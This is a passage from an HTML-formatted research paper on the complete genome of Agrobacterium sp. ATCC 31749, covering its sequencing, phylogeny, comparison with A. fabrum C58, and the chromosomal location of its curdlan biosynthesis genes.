style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>2</sup>Institute of Improvement and Utilization of Characteristic Resource Plants, Yunnan Agricultural University, Kunming, China</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>*</sup>Corresponding author:Mao Z, Department of Biochemistry, Physiology and Biotechnology, Yunnan Agricultural University, Panlong District, Kunming, 650201, China, Tel: +8613114297551; Email: <a href=\"mailto:zmao@ynau.edu.cn\">zmao@ynau.edu.cn</a> / <a href=\"mailto:mao2010zichao@126.com\">mao2010zichao@126.com</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Anane RF, Lin C, Sun H, Zhao L, Liu Z, et al. (2019) Complete Genome Sequence of <em>Agrobacterium</em> sp. ATCC 31749 and Insights into its Curdlan Biosynthesis. Curr Trends Genet Microbiol: CTGM-100001</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received date:</strong> 18 February, 2019<strong>; Accepted date:</strong>&nbsp; 5 March, 2019<strong>; Published date:</strong> 20 March, 2019</span></p>\r\n','<p style=\"text-align:justify\"><strong><span style=\"font-family:Times New Roman,Times,serif\">Abstract</span></strong></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Curdlan is an important glucan that is extensively used in food and pharmaceutical industries for production of food and medicines, and its natural producer is the <em>Agrobacterium</em> sp. ATCC 31749.Understanding its complete genome will provide great insights for the scientific community and industrial producers of curdlan. This study provides comprehensive knowledge of the genome architecture of <em>Agrobacterium</em> sp. ATCC 31749, highlighting the genetic basis for which <em>Agrobacterium</em> sp. ATCC 31749 effectively produces curdlan and the evolutionary relationships of <em>Agrobacterium</em> sp. ATCC 31749 with other species within the family <em>Rhizobiaceae</em>. <em>Agrobacterium</em> sp. ATCC 31749 produces curdlan as a protective glucan to protect itself against unfavourable conditions. The complete genome structure of <em>Agrobacterium</em> sp. ATCC 931749 consists of two small circular plasmids, one large primary chromosome and one secondary chromosome. Genes that are responsible for housekeeping activities and basic life processes are located on the primary chromosome, although curdlan biosynthesis genes are located on the secondary chromosome. Integration of fragments of an ancestral symbiosis/Ti plasmid into a duplicated copy of the ancestral primary chromosome led to formation of the secondary chromosome during the process of evolution. The secondary chromosome of <em>Agrobacterium</em> sp. ATCC 31749 contains a plasmid-type replication origin similar to that of a Ti plasmid. Genes necessary for regulatory mechanisms that improve expression of crucial genes that enhance curdlan biosynthesis in response to environmental stress stimuli are consistently upregulated with curdlan biosynthesis operon genes in the stationary growth phase.The SNPs changes observed in the curdlan biosynthesis operon are vital for curdlan biosynthesis in <em>Agrobacterium</em> sp. ATCC 31749.The closest <em>Agrobacterium </em>species to <em>A. </em>sp. ATCC 31749 is the pathogenic <em>A. fabrum str.</em> C58. This study offers further insight into the genetic mechanisms for curdlan biosynthesis and regulation,as well as the genetic basis for bioengineering of this species by commercial producers of curdlan for higher production of curdlan.</span></p>\r\n','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Keyword:</strong> Agrobacterium sp; ATCC 31749; Curdlan;Genome; Multichromosomal bacteria; Secondary chromosome; Origin of replication</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Abbreviations:</strong> ATCC31749; C1; C2, LC34; SUL3; C58</span></p>\r\n\r\n<p><strong><span style=\"font-family:Times New Roman,Times,serif\">Introduction</span></strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The capability of microorganisms to successfully adapt and cope with environmental constraints is dependent upon their successful production and secretion of both capsularand extracellular polysaccharides (CPS and EPS). EPS is crucial for bacteria pathogenicity, biofilm formation and survival during adverse environmental conditions [1-3] by serving as a protective boundary between cells and their immediate outer environment[4,5]. The presence of EPS on bacterial cells promotes bacterial longevity by extending the period for physiological adaptation to external changes. One of such important EPS with a wide range of applications in pharmaceutical and food industries is curdlan, a water-insoluble &beta;-(1,3) glucan, which is commercially produced by <em>Agrobacterium</em> sp. ATCC 31749(ATCC31749). ATCC31749 is an <em>&alpha;-Proteobacteria</em> that belongs to thefamily<em>Rhizobiaceae</em>in the order <em>Rhizobiales</em>, in which most organisms are either symbiotic nitrogen-fixing or pathogenic to their host plants[6-9]. Although ATCC31749 is an <em>A</em><em>grobacterium</em> possessing some ancestral symbiotic and invasion-regulatory-related genes, it is neither plant associated nor virulent to plants[10].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The establishment of a symbiotic relationship with a host plantdemandadditional genetic requirement obtained mainly through lateral gene transfer and/or diversification after gene duplication in order to adjust to the demands and challenges imposed by symbiotic/pathogenic relationship[11].To by-pass the high genetic requirements for symbiosis and to simplify the genome requirements for life while maximizing its survival under stress conditions, ATCC31749 might have evolved curdlan biosynthesis genes to produce curdlan over the process of evolution and selection[12,13]. Curdlan does not only possess multi-functional protective ability, but also has the ability to envelope the ATCC31749 cells surfaces thereby providing means of adhesion to surfaces and protection against biotic and abiotic stresses - physical and chemical[14,15]. The high carbon content of curdlan makes it a good nutrient repository that provides carbon source and stability to the cell surface to offer protection for the cells against wilting. Understanding the complete genome structure, genetic basis and location of primary regulons in the genome of ATCC31749 will provide great insights into its metabolic engineering to improve curdlan biosynthesis and transportation from intracellular to extracellular.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Here, we report that the complete genome of ATCC31749consist of two chromosomes and two plasmids. It is noteworthy to state that genes that are responsible for housekeeping activities and basic life processes are located on the primary chromosome, although curdlan biosynthesis genes are located on the secondary chromosome. We postulate that the secondary chromosome of ATCC31749 is derived from a duplicated copy of the primary chromosome to which fragments (including the origin of replication) of an ancestral symbiosis/Ti plasmid has integrated into. Furthermore, our results show that the ATCC31749genome resembles more closely to the genomes of pathogenic <em>Agrobacterium</em> species than non-pathogenic <em>Agrobacterium</em> species and hence, our phylogenetic tree locates ATCC31749 to be grouped with pathogenic <em>Agrobacterium</em> species. <em>Agrobacterium fabrum str.</em> C58 is the closest related <em>Agrobacterium</em> species to ATCC31749and they may have a common pathogenic/symbiotic <em>Rhizobiales</em> genetic ancestor. This study therefore provides comprehensive knowledge on the genome architecture of ATCC31749,highlighting the evolutionary relationships of ATCC31749 with other species within the family <em>Rhizobiaceae</em>. This study also provides insights into the genetic basis for which ATCC31749 effectively produces curdlan. The insights obtained from the secondary chromosome that bears the curdlan biosynthesis operon and the SNPs changes observed in this operon, as well as the replication origin (plasmid-based origin) of the secondary chromosome will be helpful for bioengineering this species. Furthermore, the evolutional changes of symbiosis-related genes, such as nodulation, nitrogen fixation, secretory systems, and EPS synthesis and transport related genes were thoroughly investigated to understand the evolution of ATCC31749. The complete genome sequence of <em>Agrobacterium</em> sp. ATCC 31749 has been deposited at NCBI with GenBank submission ID 2188667.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Methods</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Chemicals, bacteria strains, culture and genomic DNA extraction </strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">All chemicals used in this study were obtained from Sangon Biotech, China. The bacteria strain <em>Agrobacterium</em> sp. ATCC 31749 was obtained from the American Type Culture Collection (ATCC, Manassas, VA, USA). It was stored in a complex medium in &minus;80&deg;C refrigerator in Mao Zichao&rsquo;s laboratory in the College of Agronomy and Biotechnology, Yunnan Agricultural University, Kunming, China. ATCC31749 cells were cultured at 30&deg;C for 20 h on LB agar media. A single colony from this culture was inoculated into 5 ml LB broth and incubated in a shaker at 30&deg;C, 200rpm for 24 h. After that a 1:50 dilution culture was performed in 100 ml fresh LB broth which was incubated in a 30&deg;C shaker at 200rpm for 20 h. Extraction of genomic DNA was performed as described by Wilson[16]. Cells were harvested and lysed by EDTA, lysozyme, and detergent treatment, followed by proteinase K and RNase digestion. DNA isolation was done by phenol-chloroform-isoamyl alcohol extraction followed by repeated iso-propanol-ethanol precipitation. DNA quality was determined by agarose gel electrophoresis and the purity was measured at the A260/A280 ratio.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Genome sequencing, assembly and annotation</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">ATCC31749 genome was first sequenced by pair ends using the Illumina Hiseq 2500 sequencing platform with 500 bp and 3000 bp insertion library to obtained a random 217 X coverage data which was used for assembly by SOAPdenovo2 (<a href=\"http://soap.genomics.org.cn/soapdenovo.html\">http://soap.genomics.org.cn/soapdenovo.html</a>) with default parameters. The resulting assembled scaffolds were compared with the scaffolds obtained by Ruffing (10) to improve the draft genome assemble of ATCC31749. Closing of gaps in the genome was performed by SMRT sequencing [17] to obtain 20 X data with 20 kb size insertion library, followed by genome assembly with SPAdes 3.11 software (<a href=\"http://bioinf.spbau.ru/spades/\">http://bioinf.spbau.ru/spades/</a>). RNAmmer[18], tRNAscan-SE[19], Prodigal software [20] and TRF (<a href=\"http://tandem.bu.edu/trf/trf.html)\">http://tandem.bu.edu/trf/trf.html)</a> were used for gene prediction and genomic repeat elements analysis. Prior to manual functional annotation, an automatic annotation was computed based on different tools by BLAST search against the following databases: Non-redundant proteins database (NR)[21], Cluster of Orthologous Groups (COGs)[22], Gene Ontology (GO) and the Kyoto Encyclopedia of Genes and Genomes (KEGG)[23,24]. The complete genome structure and features were visualized with Circos software[25]. The CRISPRCasFinder online program (<a href=\"https://crisprcas.i2bc.paris-saclay.fr/CrisprCasFinder/Index\">https://crisprcas.i2bc.paris-saclay.fr/CrisprCasFinder/Index</a>) was used for detection of CRISPRs. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Phylogeny and comparative genome analysis</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">To analyze the phylogenetic position and molecular evolution of <em>Agrobacterium</em> sp. ATCC31749, the complete genome protein coding sequence of ATCC31749 was used to perform local BLASTP search (at e-value of 1 x 10<sup>-7</sup>) against the complete genome protein coding sequences of other 56 members of the <em>Agrobacterium</em>/<em>Rhizobium</em> group by using BLASTP 2.7.1 software [26] to determine homologous proteins. The genome protein coding sequences of the other 56 species were downloaded from the NCBI website (<a href=\"ftp://ftp.ncbi.nlm.nih.gov/genomes/genbank/bacteria\">ftp://ftp.ncbi.nlm.nih.gov/genomes/genbank/bacteria</a>). After BLASTP analysis,the resulting data was filtered by two criteria (cut-off of 80% similarity and cut-off of 80% amino acid coverage) to select highly homologous proteins. The obtained protein sequences (encoded by 247 genes) of the 57 species were used for alignments and construction of phylogenetic tree to analyze the phylogenetic position of ATCC31749. Alignments and generation of phylogenetic trees from concatenated core gene alignments were performed with MAFFT version 7.4 at MAFFT online service (<a href=\"https://mafft.cbrc.jp/alignment/server/\">https://mafft.cbrc.jp/alignment/server/</a>) [27] by using the Neighbor-Joining algorithm method and JTT model. The generated trees were viewed with the Interactive Tree of Life (iTOL) online tool (<a href=\"http://itol.embl.de/\">http://itol.embl.de/</a>)[28].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Comparative genome analysis to study the orthologous clusters of genes between the genomes of ATCC31749,<em>Agrobacterium fabrum</em>str. C58 (C58), <em>A. fabrum</em>str. J-07 (J-07) and <em>A. tumefaciens </em>str. LBA4404 (LBA4404), <em>A.</em> sp. LC34 (LC34) and <em>A. </em>sp. SUL3 (SUL3) was performed by using the OrthVenn online tool (<a href=\"http://www.bioinfogenome.net/OrthoVenn/\">http://www.bioinfogenome.net/OrthoVenn/</a>). Further comparative genome analysis between the genomes of ATCC31749 and C58 was performed by using the circoletto webserver (<a href=\"http://bat.ina.certh.gr/tools/circoletto/\">http://bat.ina.certh.gr/tools/circoletto/</a>)to construct syntenic relationship circos plot at e-value of 1x10<sup>-5</sup>. The plot was colored by the &lsquo;score/max&rsquo; ratio of tBLASTxbitscores (real score/maximal score) with ribbon colors of blue &le; 0.25, green &le; 0.50, orange &le; 0.75 and red &gt; 0.75. To analyze the evolution of the secondarychromosome of ATCC31749, two phylogenetic trees inferred from <em>OriC</em> DNA nucleotide sequences of the primary and secondary chromosomes of 41 multichromosomal bacteria species were constructed.Secondly, a phylogenetic tree inferred from nucleotide sequences of the <em>repABC</em> genes of the replicons of ATCC31749, the secondary chromosome and plasmids of C58 (C2, pTiC58, pAtC58), plasmids of J-07 (pTiJ07, pAtJ07),LBA4404 (pTiLBA4404, pAtLBA4404), <em>Rhizobium leguminosarum </em>bv. <em>Trifoli</em>CB782 (pRtCB782a, pRtCB782b, pRtCB782c) and <em>A. vitis</em>S4 (pAtS4a, pAtS4b, pAtS4c, pAtS4e and pTiS4) was constructed.Finally, syntenic genes relationships plot between the chromosomes and plasmids of ATCC31749 was constructed by using the circoletto webserver at e-value of 1x10<sup>-5</sup>. The plot was colored by the &lsquo;score/max&rsquo; ratio of tBLASTxbitscores (real score/maximal score) with ribbon colors of blue &le; 0.25, green &le; 0.50, orange &le; 0.75 and red &gt; 0.75.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Analysis of differentially expressed genes of ATCC31749</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">A single colony of ATCC31749 from an overnight culture was inoculated into 5 mL LB broth medium and incubated overnight in a shaker at 30&deg;C, 200&thinsp;rpm. The resulting culture was used to inoculate a fresh 100&thinsp;ml LB broth media in 500&thinsp;ml flask with a dilution ratio of 1:50. The flask cultures were incubated at 30&deg;C in a shaker (200&thinsp;rpm) to a final optical density (OD<sub>600</sub>) of approximately 0.5, corresponding to the exponential growth phase (E-phase) cells. 20 ml replicates of these cell cultures were pelleted from the medium by centrifugation at 4000&thinsp;&times; g for 5&thinsp;min. The cell pellets were re-suspended in 100 mL curdlan fermentation media as previously described (15) for 24 h, which corresponds to the stationary growth phase (S-phase) cells. The rRNA-depleted RNA was prepared from both E-phase and S-phase cell pellets by the method developed by Chen and Duan[29]. The resulting RNA samples were sent to Biomarker (Beijing, China) Illumina Hiseq 2500 sequencing platform for RNA-sequencing. The obtained RNA-seq data was used for differential expression analysis by using HISAT2, StringTie and Ballgown RNA-seq analysis pipeline[30,31]. Analysis and generation of heatmap for expression profiles of curdlan biosynthesis genes and their related regulatory genes at both E- and S-phases were performed by d3heatmap package of R.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Protective ability of curdlan on ATCC31749 cells against stress conditions</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The cells of 3 different strains of ATCC31749 at both E-phase and S-phase: ATCC31749 (Curdlan-producing ATCC31749, wild type), ATCC31749?<em>crdR</em> (<em>crdR</em> knockout mutant which produces lower curdlan yield) and ATCC31749?<em>crdR</em>/pBQ<em>crdR</em>(pBQ<em>crdR</em> transformed strainforfunctional complementarity of<em>crdR</em>) were used to study the protective ability of curdlan on ATCC31749 cells against some stress conditions. The stress conditions investigated include high temperature (42?C), UV light and acidic condition. For investigation of high temperature, cells of the 3 strains that have been grown to both E- and S-stages were spread unto LB agar plates and placed in a 42?C incubator for 48 h. The cells were then placed in a 28?C incubator for another 48 h and the survived colonies were counted. For investigation of UV light, cells of the 3 strains that have been grown to both E- and S-stages were spread unto LB agar plates and placed under UV light for 30 minutes, after which the plates were incubated at 28?C for 48 h and the colonies that appeared were counted. To investigate the protective ability of curdlan on ATCC31749 cells in acidic condition (pH=2-3), cells of the 3 strains that have been grown to both E- and S-phases were spread unto LB agar plates (pH=2-3) and incubated at 28?C for 48 h. The colonies that appeared were counted. A graph of number of colonies against stress condition at each growth phase was plotted.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Results</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Genome sequencing</strong><strong>, assembly and general features</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The genome was sequenced using the Illumina Hiseq 2500 platform, generating a total 3.1Gb clean data with an average qualified read size of 125 bp. The sequenced data (about 217 x coverage) was assembled by SOAPdenovo2 and compared with the draft genome contributed by Ruffing (10), resulting in a new draft genome with 14 scaffolds. The SPAdes software [32] was used to assemble the 20 x third generation data produced by Pacific Bioscience SMRT method with 20 kD insertion sizes library. Compared with the 14 scaffolds draft genome,the final complete genomic sequence was obtained. The complete genome has a GC content of 58.9%, and is composed of four DNA repliconsof which two are chromosomes (one primary chromosome- the largest chromosome, C1; and one secondary chromosome, C2) and the other two are extra-chromosomal plasmids (pAg31749a and pAg31749b) (Table 1,Figure 1and File S1). Out of the predicted 5591 protein-coding genes,4,441 (79.4%) are known functional genes whiles 1,150 (20.6%) are hypothetical genes.Details of the general features of the genome can be found in Table 1.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">According to the results of theCOG annotation, the genome is enriched withgenes that function in transport and metabolism of amino acid (E) and carbohydrate (G), and also in transcription (K) (Figure 2a). It is evident from the GO analysis that in cellular component function, most genes are either membrane, membrane part or cell part. In molecular function, most genes function in catalytic, binding and transport activities, whiles in biological process, genes mostly function in single organism processes, metabolic processes, cellular processes, response to stimulus, localization and biological regulations (Figure 2b). Since synthesis of curdlan by ATCC31749 is initiated by and effective under stress conditions, and that the raw materials (such as sucrose) used for synthesis of curdlan has to be transported to the intracellular,whiles theproduced curdlan is transported to the extracellular environment;it is not surprising that the genome is rich in genes that encode proteins related to membrane transport and signaling components.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Evolution of Agrobacterium sp. ATCC31749</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">To investigate the evolutionary relationships between ATCC31749 and other members of the <em>Agrobacterium</em>/<em>Rhizobium</em> group, a phylogenetic tree inferred from protein sequences of the 247 highly conserved orthologous genes (File S2) was constructed with Neighbor-Joining algorithm method. 86% of the 247 genes were located on the primary chromosome whiles the other genes were located on the secondary chromosome. Analysis of the concatenated data set produces a single topology with a 100%posteriori support for all branches within the constructed <em>Agrobacterium</em>/<em>Rhizobium</em> group tree. The constructed phylogenetic tree finds ATCC31749 to be placed in the clade (C2) containing three <em>Agrobacterium</em> biovar I species: C58, LBA4404 and J-07 (Figure 3). The Neighbor-Joining algorithm tree gives the same topology and similar relative branch lengths as the tree produced by Maximum likelihood analysis (Figure S1). It can be inferred from the phylogenetic tree that C58 is the closest related species to ATCC31749 (Figure 3 and Figure S1), although C58 is pathogenic (contains a Tiplasmid) whereas ATCC31749 is not. Comparative genome analysis for orthologous clusters of genes between the genomes of the species of &ldquo;clade B2&rdquo; in figure 3 shows that, 3698 orthologous clusters of genes are shared between the six species. 3708, 3701, 3807, 3704 and 3724 orthologous clusters are shared between ATCC31749and C58, ATCC31749 and LBA4404, ATCC31749 and J-07, ATCC31749 and LC34, ATCC31749 and SUL3 respectively (Figure 4a). This result explains that ATCC31749 genome shares more homologous clusters with pathogenic species (clade C2) and therefore resembles more closely to the genomes of pathogenic <em>Agrobacterium</em> species than that of the nonpathogenic species (clade C1 of Figure 3).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Analysis of syntenic genes relationships between replicons of ATCC31749 and C58 reveals that ATCC31749_C1 shares very high homology to C58_C1, whiles ATCC31749_C2 is more homologous to C58_C2 with some genes being mapped to pTiC58. Similarly, the plasmid pAg31749a is highly mapped to the plasmid pAtC58. Surprisingly, plasmid pAg31749b is highly mapped to C58_C2 with very few fragments being mapped to pAtC58 and pTiC58 (Figure 4b). Analysis of <em>dnaA</em> (chromosomal replication initiator gene) and <em>oriC</em> (chromosomal origin of replication gene) which are necessary for initiation of chromosomal replication in bacteria reveals that <em>C1_oriC</em> of the primary chromosome of ATCC31749 has a 92.252% (e-value &lt; 1 x 10<sup>-7</sup>) identity to the known <em>oriC</em> of C58, whiles the <em>C2_oriC</em> of the secondary chromosome has 97.208% identity to that of C58. The <em>dnaA</em> protein sequence of ATCC31749 and C58 share 100% identity. It is therefore possibility that ATCC31749 may be a sub-species of the <em>Agrobacteriumfabrum</em> group and that ATCC31749 may have a pathogenic genetic ancestor.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Comparative genomics</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Since our molecular evolution tree reveals that C58 is a closely related species to ATCC31749(Figure 3), some symbiotic/pathogenic related genes, stress responsive genes, and CPS/EPS biosynthesis and transport related genes of C58 were searched in the genome of ATCC31749. Somehomologous of symbiotic/pathogenic-relatedgenes of C58 such as invasion-associated regulatory genes and damage-inducible genes including nodulation genes (<em>nodN, nodT, nolG, nolR</em>)<em>,</em> nitrogen-fixation-regulatory related genes (<em>fixL, fixG, fixH, nifR, nifH,NtrBC, NtrXY</em>), virulence-associated and regulatory genes (<em>PhoQ, PhoP</em>, <em>chv</em><em>B,</em><em>Vir</em>E, <em>VirK</em>family) and cytochrome oxidative gene were found to be present in ATCC31749genome. Furthermore, stress responsive/tolerant and multi-chemical resistant genes such as <em>AcrB</em>/<em>AcrD</em>/<em>AcrF</em> families, the universal stress tolerance and defense protein-coding genes, such asType I restriction modification genes, are also present in the ATCC31749genome. Similarly,EPS and CPS biosynthesis related genes such as glycogen synthase, curdlan synthase operon<em> (crd</em><em>A</em><em>S</em><em>C</em>), <em>exoAB, exoDF, exoHI, exoKLMN, exoOPQ, exoR</em><em>ST, exoUVZXYZ</em>and <em>chvE</em><em>I</em><em>G </em>are located in theATCC31749genome (File S3). The C58 genes <em>chvAB</em> (essential for synthesis and localization of the extracellular &beta;-1,2-glucan which enable C58 cells to bind to plant cells)[33-35], <em>ChvH</em> (glucan elongation factor), <em>ChvI</em> (two component response regulator), <em>chvE</em>(sugar binding periplasmic gene), <em>ChvG</em> (two component sensor kinase) and <em>exoR</em> (exopolysaccharide synthesis repressor gene), which are all located on primary chromosome of C58 are also found to be anchored on the primary chromosome of ATCC31749. Similarly, the secondary chromosome of ATCC31749harbors the <em>cel</em> (cellulose synthase gene) and <em>exoC</em> gene required for synthesis of extracellular &beta;-1,2-glucan and succinoglucan polysaccharides. The &beta;-1,2-glucan synthase genes of ATCC31749and C58 share 99.74% identity. Polysaccharide synthesis related genes such as <em>pssA</em> (Phosphatidylserine synthase) and <em>pssB</em> (EPS production gene), and <em>pssN</em> (EPS export gene) are also found to be anchored on the primary and secondary chromosomes respectively in ATCC31749. The <em>repABC</em> genes involved in replication initiation, copy number control, and partition of molecules are found in the secondary chromosome and plasmids in ATCC31749. These results confirm our molecular evolution tree analysis which suggests that ATCC31749 may have a symbiotic/pathogenic ancestor similar to that of C58.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Some major homologous genes for the regulation of virulence factors were found to be present in ATCC31749genome, although ATCC31749is not virulent. Chromosomal virulence gene <em>chvB</em>, GDP-mannose 4,6-dehydratase (<em>WbkC</em>), Glycosyl transferase family (<em>WbkA</em>), Phosphoglucomutase (<em>Pgm</em>), ABC transporter ATPase (<em>Wzt</em>), Mannose-1-phosphate guanyltransferase (<em>ManCoAg</em>) and Mannose-6-phosphate isomerase (<em>ManAoAg</em>) are located on the chromosomes of ATCC31749. Furthermore, principal constituents of protective antigens of <em>Brucella</em> spp. such as <em>ArsR</em> family transcriptional regulator (<em>AsnC</em>), Molecular chaperones (<em>DnaK, SurA, DnaJ</em>), Cobyrinic acid a,c-diamide synthase (<em>CobB</em>), Glyceraldehyde-3-phosphate dehydrogenase (<em>GapA</em>), Membrane protein gene (<em>OmpA</em>), Superoxide dismutase gene (<em>SodC</em>), Invasion-associated protein and Bacterioferritin (<em>Ferritin</em>) genes which are all necessary for production of Brucella vaccines [36] are also located in the genome of both C58 and ATCC31749. These results also support our hypothesis that both ATCC31749and C58 may have common ancestors.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">DNA and amino acids sequences of the curdlan synthesis operon genes <em>(crdASC</em>) of ATCC31749 were compared to C58 by BLAST analysis to understand the reasons for which ATCC31749 effectively produces curdlan. The <em>crdA</em> of both C58 and ATCC31749 has 12 SNPs changes and 1 insertion at the C-terminal coding region of <em>crdA</em>of C58 leading to reading frame-shift. The <em>crdS</em> has 22 SNPs changes between C58 and ATCC31749 leading to 5 amino acid changes (L<sub>64</sub>P, F<sub>66</sub>L, A<sub>140</sub>G, A<sub>305</sub>V, T<sub>586</sub>K) in ATCC31749. There were 21 SNPs changes observed between the <em>crdA</em> of C58 and ATCC31749 that results into 7 amino acid changes (S<sub>8</sub>G, G<sub>95</sub>Q, Y<sub>127</sub>H, M<sub>321</sub>I, L<sub>249</sub>S, V<sub>393</sub>I, R<sub>417</sub>S) in ATCC31749. These differences and changes observed in the <em>crdASC</em> operon could be some of the reasons for which ATCC31749effectively produces curdlan under nitrogen limited conditions.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Primary chromosome (C1)</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In multichromosomal bacteria, primary metabolism regulons and housekeeping genes are located on the primary chromosomes. To determine which of the chromosomes of ATCC31749is the primary chromosome (C1), vital and primary metabolism related genes involved in most essential processes and housekeeping jobs in the life of a bacterium were analysed. The Central Dogma genes and theDNA recombination, replication and repair genes such as <em>recA (</em>DNA recombinase and repair protein A)<em>, atpD</em> (ATP synthase subunit beta)<em>, glnD </em>(bifunctional uridylyltransferase)<em>, rpoB </em>(DNA-directed RNA polymerase subunit beta) and<em>eftU</em>(elongation factor Tu) were all found to be located in circular chromosome. The same locations were also found in C58, J-07 and LBA4404 in the clade &ldquo;C2&rdquo; of the phylogenic tree in figure 3. Another vital regulon in the bacteria domain is the SOS response genes which are responsible for repairing DNA damage, stress-induced mutagenesis, and development. Analysis of the locations of the three core genes of the SOS response (<em>lexA</em>, <em>recA</em>, <em>uvrA</em>) reveals that, the <em>lexA</em>(SOS transcription regulator), <em>recA </em>(DNA recombinase) and <em>uvrA</em> (excinuclease subunit A) genes are located on the circular chromosome of ATCC31749. These genes were also found to be located on the primary chromosomes of C58, J-07 and LBA4404, and<em>Vibrocholerae</em> and <em>Brucella melitensis </em>16M belonging to the <em>Proteobacteria</em> group. Similarly, the location of a specialized triad machinery components (<em>XerC</em>, <em>XerD</em> and <em>FtsK</em>) which resolves DNA dimers in bacteria cells was analysed. These genes were also found to be anchored on the circular chromosome of ATCC31749. Other genes necessary for basic life of a bacteria cell such as DNA replication and replication initiator genes (<em>ParA</em>, <em>ParB</em>, <em>ParC</em>, <em>ParE</em>, <em>DnaA</em>), cell division and segregation genes (<em>FtsY</em>, <em>FtsZ</em>, <em>FtsA</em>, <em>FtsQ</em>, <em>FtsW</em>, <em>MraZ</em>), DNA repair genes (<em>RecO</em>, <em>RecN</em>, <em>RecF</em>, <em>RecR,MutL</em>, <em>MutT</em>, <em>MutS</em>), nucleotide and amino acid synthesis pathway and regulatory genes, DNA gyrase (<em>gyrA, gyrB</em>)and its inhibitor (<em>YacG</em>), ATPases (AAA) genes, and glycolysis related genes are mainly located on the circular chromosome of ATCC31749(File S3). Similarly, glutamine synthase (<em>glnA, glnII</em>), threonine synthase (<em>thrc</em>), transcription terminator/antiterminator (<em>nusA</em>), glucose-6-phosphate 1-dehydrogenase (<em>zwf</em>), anthranilate synthase (<em>trpE</em>), 60kDa chaperonin (<em>groEL</em>), and molecular chaperone DnaK (<em>dnaK</em>) genes are all located on the circular chromosome of ATCC31749. Furthermore, the circular chromosome of ATCC31749contains a putative origin of replication (<em>oriC</em>) that has 92.252% identity to the known <em>oriC</em> of C58 primary chromosome. These results confirm that the circular chromosome is the primary chromosome of ATCC31749 and also supports the notion that in multichromosomal bacteria, primary regulons and genes that carry out most of the housekeeping and cellular activities of a cell are located on the primary chromosome[37].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Secondary chromosome (C2)</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">To understand theevolution of the secondary chromosome of ATCC31749, whole DNA nucleotide sequences of the replicons of ATCC31749were used to perform syntenic genes relationship analysis. The syntenic relationship tBLASTx graphical comparison of the chromosomes (C1, C2) with the plasmids indicate that, the secondary chromosome shares high level of similarity to the primary chromosome (Figure 5a), suggesting a possibility that C2 could have originated from duplication of the C1. The two phylogenetic trees constructed from the replication origin(<em>OriC</em>) DNA nucleotide sequences of the primary and secondary chromosomes (<em>C1_oriC</em> and<em> C2_oriC</em>) of 41 multichromosomal bacteria species of the <em>Proteobacteria</em>suggest that, the <em>C1_oriC</em> and<em> C2_oriC</em> of ATCC31749are more homologous to their counterparts of C58. However, <em>C1_oriC</em> and<em> C2_oriC</em> of ATCC31749 are located at different clades that are very distant from each other (Figure S2a &amp; S2b). This suggests that <em>C1_oriC</em> and<em> C2_oriC</em> of ATCC31749 have different origins of evolution, and that the origin of the secondary chromosome may have come from a remote ancestral replicon. Furthermore, comparative analysis of the <em>C1_oriC, C2_oriC, pAg31749a_oriC</em> and <em>pAg31749b_oriC</em>shows very low similarities between them, indicating that the replication origins of the plasmids and chromosomes of ATCC31749 may have evolved from different ancestors. Analysis of the <em>C2_oriC</em>of ATCC31749 reveals that the C2 has a plasmid-type replication system (repABC) which is located at the centre of the chromosome. The result of BLASTN identity analysis of the repABC of ATCC31749 C2 and C58 C2 also reveals that ATCC31749 C2_oriC shares 97.208% identity to that of C58.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">A phylogenetic tree inferred from nucleotide sequences of the <em>repABC</em> operons of ATCC31749 C2, pAg31749a, pAg31749b, and C58 